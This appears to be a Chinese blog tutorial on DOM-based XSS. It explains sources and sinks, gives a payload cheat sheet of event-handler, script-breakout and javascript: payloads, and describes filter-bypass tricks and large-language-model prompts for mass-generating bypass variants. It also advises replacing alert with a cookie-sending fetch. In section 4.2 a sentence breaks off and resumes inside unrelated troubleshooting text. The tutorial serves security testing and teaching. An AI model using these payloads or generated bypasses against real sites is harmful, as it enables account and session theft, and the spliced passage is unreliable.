1. 先说清楚这次要攻克的靶子:DOM型XSS
1.1 从浏览器渲染流程看DOM型XSS
把XSS系列写到第四篇,前面已经系统梳理了反射型XSS和存储型XSS,两者的共同点是恶意代码都先进了服务端,再被拼接到响应页面里回显给用户。而DOM型XSS是完全不同的另一条链路——恶意代码根本不需要去服务端转一圈,浏览器自己就把用户可控的数据当成了页面脚本执行。不要小看这个差异,它直接决定了排查思路、利用手法和防御方案的完全不同。
先补背景知识。DOM是浏览器把HTML文档解析成的内存对象树,页面里的JavaScript通过DOM接口可以动态修改页面结构。DOM型XSS发生的核心条件,就是某个JS函数把外部可控数据(比如URL参数、window.name、postMessage消息)原样写进了页面的危险位置,比如innerHTML、document.write、eval这些,然后浏览器把插入的内容执行了。
举一个典型的老站点例子,很多网站有这样一个跳转逻辑:
const target = new URLSearchParams(window.location.search).get('url'); document.getElementById('backLink').href = target;如果把访问链接改成:
https://example.com/details?url=javascript:alert(document.domain)用户点击那个"返回"链接时,一个包含JS代码的URL被塞进了a标签的href属性,浏览器在点击动作触发后执行了它。整个过程里,这个参数没有经过任何服务端逻辑,服务端日志里连痕迹都没有,全靠前端JavaScript自己完成了"读取输入、拼进DOM、触发执行"这三个动作。这就是DOM型XSS和其他两类XSS最本质的区别。
这篇文章适合三类人看:一是做Web安全测试的朋友,尤其是想系统补上客户端漏洞检测能力的;二是前端开发者,很多人对v-html、dangerouslySetInnerHTML背后藏着什么风险并没有真正意识到;三是刚入门想刷XSS训练平台的新手,知道payload能弹窗,但不知道为什么会弹、换个环境为什么不弹。这篇把原理、入口、payload构造、大模型辅助挖掘、防御加固和排错全部串起来讲清楚。
1.2 和前几篇讲的反射型/存储型XSS到底差在哪
这里做一张对比表,实际排查时对照着看会非常直观:
| 对比维度 | 反射型XSS | 存储型XSS | DOM型XSS |
|---|---|---|---|
| 恶意代码存储位置 | 不存储,一次性反射 | 存储在服务端数据库 | 不经过服务端 |
| 触发方式 | 构造恶意URL诱导点击 | 正常访问被存储页面即可触发 | 构造恶意URL,前端JS自行处理触发 |
| 关键切入点 | 服务端模板拼接收参 | 数据库读取后再拼接 | 前端JS的source到sink数据流 |
| 特征检测 | 服务端日志可能看到payload | 数据库有脏数据 | 服务端完全看不见payload |
| 排查难度 | 找服务端回显点 | 找写入点与渲染点 | 需要逐行审计前端JS数据流 |
表格最后一行是最容易被忽视的。实际做授权测试时,如果目标页面把整个前端逻辑都放在静态JS文件里,服务端天然就没有过滤点,传统的WAF规则也大概率拦不住——因为请求里的payload在服务端看起来就是普通URL字符,危险行为发生在浏览器侧的DOM渲染阶段。这也就是为什么测试DOM型XSS必须带着浏览器开发者工具,逐行看实际渲染后的DOM树来确认插入点,不能只靠抓包工具和扫描器。
还有一点要注意,DOM型XSS经常和反射型、存储型混着出现。最典型的场景是:用户输入先被服务端存进数据库,前端拿到数据后没有用textContent输出,而是拼到innerHTML里。这种"存储型+DOM型"的混合体,攻击链长、排查成本高,在真实业务站点里比单纯的DOM型更常见。别死板地把XSS按三类分开看,数据流在哪里被消费才是重点。
2. DOM型XSS的常见入口与触发场景
2.1 高危入口source与写入sink清单
前面讲完了原理,现在进入实操第一步:拿到一个页面后,该把眼睛盯在哪些JS函数上?我习惯按"数据源source"和"写入口sink"两个维度去拆。
先看source,也就是用户可控数据从哪里进来:
| 数据源 | 说明 | 典型写法 | 实际利用提示 |
|---|---|---|---|
| location.search | 当前URL的查询参数 | urlParams.get('p') | 最常见入口,POST之外的参数基本都靠它 |
| location.hash | URL锚点部分,不会发给服务器 | location.hash.substr(1) | 老站喜欢拿它做单页跳转,隐蔽性强 |
| document.referrer | 来路页面地址 | location = document.referrer | 配合跨站跳转可绕过部分过滤 |
| window.name | 窗口名字,跨页面共享 | 被iframe继承 | 隐蔽性极高,很多过滤器不检测 |
| postMessage | 窗口间跨域通信数据 | message事件里的event.data | 接收端如果不校验origin必出问题 |
| document.cookie | Cookie中的部分字段 | 被误拼进DOM | 少见,但存在 |
再看sink,也就是数据最终被写到了哪里:
- innerHTML / outerHTML / insertAdjacentHTML:会直接解析HTML标签,事件属性能触发执行
- document.write / document.writeln:老代码里极其常见,一次性把字符串写进页面
- eval / Function / setTimeout / setInterval:当参数是字符串时,本质就是JS代码执行
- location.href / location.assign / location.replace / window.open:可传javascript:协议,也可传data:协议
- a.href / iframe.src / form.action / embed.src:把URL渲染进属性值
- element.setAttribute配合上述危险属性名
实际测站时,我会在画出source到sink完整路径的同时,把中间的字符处理过程也标出来。例如location.search里的值在进入innerHTML之前,如果代码调用了encodeURIComponent,那什么payload都起不来,因为尖括号和引号全被转成了百分号编码。这一步千万不能省,很多人半天没弹窗,问题就出在中间多了一层编码。
2.2 框架时代的隐性DOM XSS
现在纯粹的jQuery拼字符串项目少了很多,但这不意味着DOM型XSS被框架消灭了,它只是换了个战场。Vue的v-html、React的dangerouslySetInnerHTML、Angular的bypassSecurityTrustHtml和bypassSecurityTrustUrl,这三个接口本质上都等价于innerHTML,是框架给开发者留下的"信任后门"。写业务代码时图省事,把后台返回的一段富文本内容直接渲染进页面,如果后台数据里混入了恶意HTML,那用户一访问就能被打。这类"存储型+DOM型"混合场景,在企业站里比纯DOM型更常见,因为数据入库后再被前端拼到innerHTML里,服务端入口和WAF全都看不见危险。
还有一类很容易漏掉的是把JSON数据放在URL参数里的SPA站点。例如:
const initData = JSON.parse(new URLSearchParams(location.search).get('config')); document.body.insertAdjacentHTML('beforeend', initData.widgetHtml);这类代码直接把JSON里的HTML字段丢进DOM,payload的构造空间非常大。我之前测试过一个数据可视化项目,它用hash路由存id,再把id拼进svg标签的onload事件里。payload被URL的#符号包裹了,服务端日志没有记录,防护系统也没有报,最后完全靠手动审查JS文件里的source到sink路径才抓住。
框架场景下还有一个高危点是第三方SDK和组件库。很多图表库、富文本编辑器、Markdown渲染器为了功能完整性,允许用户传入HTML字符串并直接渲染。如果业务层没有在前面做白名单清洗,这些组件就成了绕过"前端框架默认转义"的通道。审查代码时,除了业务代码本身,依赖里的dangerouslySetInnerHTML、v-html、dangerouslySetInnerHTML出现频率也要追一遍。
3. XSS攻击语句速查:从入门到能实战
3.1 不同上下文的基础payload
XSS攻击语句没有标准通解,核心是"看代码上下文选语法"。上下文决定了哪些字符敏感、哪些写法能触发执行。我习惯把payload按四种上下文分类,这对刚入门的朋友特别重要。
第一类是在HTML标签属性值内,比如value="用户输入"。最有效的思路是提前闭合引号和标签,再挂一个事件属性:
" onmouseover="alert(document.domain) " autofocus onfocus="alert(1) <xss id=x tabindex=1 onmouseover=alert(1)>第二类是直接嵌入script标签里的JS变量,比如var name='用户输入'。需要先逃逸出字符串边界:
';alert(document.domain);// \';alert(document.domain)// </script><script>alert(document.domain)</script>第三类是能放javascript协议的地方,典型是href、location、iframe.src:
javascript:alert(document.domain) JaVaScRiPt:alert(1) java%0ascript:alert(1)第四类是通过事件属性自动触发,这是我日常测试里使用频率最高的:
<img src=x onerror=alert(document.domain)> <svg/onload=alert(1)> <details open ontoggle=alert(1)> <video src=x onerror=alert(1)> <iframe srcdoc="<script>alert(1)</script>">svg和details的写法非常稳,因为它们几乎不需要额外条件就能触发。需要注意,测试目标如果是XSS训练平台,弹个窗只是开始;真正做授权测试时,要把alert换成能证明漏洞利用链的payload,比如fetch到自己的接收服务器,带上cookie或页面内容。这是区分"会玩靶场"和"能做实战"的分水岭。
3.2 编码绕过与过滤绕过思路
过滤规则五花八门,但绕过逻辑有规律可循,最常用的方向有四个。
第一,HTML实体编码。很多过滤只转义了尖括号和双引号,对单引号或HTML实体本身不做二次处理。如果目标位置在标签属性内,可以用'、"来构造引号闭合。比如某站把双引号转成了",但单引号能原样进入,那就可以用:
' onmouseover='alert(1)' '第二,JS中的Unicode编码。如果输入被拼进script标签的字符串里,可以把关键字转成\u0061lert这种Unicode转义。JS引擎在解析字符串字面量时先解码再执行,因此:
<img src=x onerror=\u0061lert(1)>在某些只匹配alert关键字的WAF规则下可以绕过。
第三,URL编码与双重编码。location.search读取到的参数,浏览器可能会自动做一次解码,如果代码里又调用了decodeURIComponent,那就在payload里预编码两层,让它解码一次后仍然保留可执行结构。
第四,利用HTML解析器的标签怪癖。比如过滤了script标签,但没过滤math、style标签:
<math><mtext></mtext><mglyph><style><!--</style><img src=x onerror=alert(1)>这条思路利用的是浏览器解析引擎在不同标签模式下的容错机制,在不少弱过滤规则下能直接突破。
不过要泼一盆冷水:不要一上来就上重型混淆payload。很多目标过滤其实做得很差,一个简单的img onerror就过了。只有确认目标明确检测了尖括号、alert、script这些关键字时,才需要祭出编码和标签怪癖。想练手的朋友,建议本地搭一个简单的过滤脚本,每次只加一条规则,逐个验证payload的变化,练上两天就能形成肌肉记忆。
4. 大模型如何切入XSS漏洞挖掘
4.1 让大模型做静态风险审查
这两年大模型在安全圈出镜率越来越高,我的真实感受是它不能替代实战经验,但能把重复劳动大幅压缩。XSS漏洞挖掘恰好就是这种场景:前端JS文件动辄几千行,人工一行行找source到sink的数据流非常费眼,让大模型做第一轮预处理则非常高效。
具体做法是,把审计目标聚焦在source和sink的关键调用点,给大模型一个明确的提示词,例如:
你是一名Web安全审计专家。请分析以下JavaScript代码,找出所有把外部输入写入DOM的行为。 只关注这些source:location.search、location.hash、document.referrer、window.name、postMessage。 只关注这些sink:innerHTML、document.write、eval、insertAdjacentHTML、location.href、window.open。 对每个发现,输出:代码位置、source到sink的完整路径、是否存在中间过滤、建议的验证方式。 以下是代码: ...我第一次用这个思路处理一个3000行的SPA项目,人工审要半天,大模型几十秒就产出十几条候选路径,再人工逐条验证后筛出4条真实可利用的。需要提醒的是,把代码贴给大模型要注意保密,企业环境里优先用本地部署的开源模型,别把敏感代码直接发到云端服务。
4.2 用大模型生成payload变体和fuzz字典
大模型的第二个实用价值是生成payload变体。很多XSS测试卡在"知道有漏洞但绕不过过滤器",这时候让大模型批量产出变体效率极高。我试过这样一个提示词:
现有过滤规则:删除尖括号和alert、script关键字,不区分大小写。 请生成30个能触发JavaScript执行的XSS payload变体,覆盖HTML实体、Unicode转义、标签怪癖、CSS表达式等不同思路。 每个payload只输出一行,不要解释。大模型给出的结果里经常有灵光一闪的写法,比如利用iframe srcdoc、利用
location.hash自动编码。给hash赋值时浏览器会自动做URL编码,导致某些payload被改得面目全非。测hash入口时,要么拼完整URL让浏览器自行解析,要么先手动编码好再赋值,否则payload容易失效。
console警告要重视。很多浏览器在即将执行被CSP拦截的脚本时会给出提示,比如"Blocked script execution in ... because the document's frame is sandboxed"。看到这类报错直接把代码的sink逻辑和过滤条件对照一遍,往往是过滤路径里含有CSP或者沙箱限制。
过滤正则不一定匹配大小写。有的开发用转义、有的用编码,但最常忘记处理大小写变形。所以payload变体里顺手写上